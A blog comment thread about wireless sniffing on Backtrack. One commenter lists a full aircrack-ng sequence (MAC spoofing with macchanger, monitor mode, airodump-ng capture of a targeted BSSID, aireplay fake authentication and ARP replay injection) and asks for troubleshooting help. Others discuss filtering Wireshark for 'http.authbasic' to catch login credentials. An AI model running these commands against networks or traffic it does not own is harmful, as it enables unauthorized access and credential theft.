  1. Hi g0tmi1k. Great web and great videos i enjoyed very much with your work. I have a question if you have time i hope you can answer it.

    i have backtrack 4 pre/final on live cd to my laptoop and a usb wireless adaptor with realtek chipset and with mode monitor enabled. When i want to make probes with my wireless i do this:


    ifconfig wlan0 down
    macchanger --mac 00:11:22:33:44:55 wlan0
    ifconfig wlan0 up
    airmon-ng
    airmon-ng start wlan0
    ifconfig mon0 down
    macchanger --mac 00:11:22:33:44:55 mon0
    ifconfig mon0 up
    airodump-ng mon0
    airodump-ng -w listado -c 9 --bssid (MAC to attack) mon0
    aireplay -1 0 -a (MAC to attack) -h 00:11:22:33:44:55 mon0
    aireplay -3 -b (MAC to attack) -h 00:11:22:33:44:55 mon0

    At the first 5 or 10 minutes aireplay send packets but no ARP OR ACK responses. Then when responses of ARP starts i go to the console wich typed airodump-ng mon0 and all the wireless nets, bssids, essids, channels starts to dissapear and in about 1 minute dissapears all of them and i cant see no data.
    Do you know how to solve that, or what is the cause of this problem? The signal is about 40 per cent strenght.

    This has nothing to do with "sniffing wifi traffic". It's off topic!

    and the simple answer, No I don't. Search THEN ask on the aircrack-ng forums.

    How are you running backtrack?
    Live CD/USB/VM/HDD?

    What is the output if you run:
    lspci -knn

  9. Everything works good until i open wireshark and type "http.authbasic" and nothing shows up. Im typing a username/password on several websites

  10. @Victor,
    It depends on what how the site is coded.
    Does it use Basic Authentication to handle the login, or does it use something more "complex" ;)

    I choose to show my router, as it does use it (it is just a simple login system).

    Lots of other sites, don't use it. You'll need to use a different method

    Was running via HDD, but if i run BT via VM, and capture the wirelles adapter, it, somehow, works (;

    Well, I like all the music used in the videos - you can find what they are at the end of the video and in the post too.
    I haven't got a list as such - just too many!
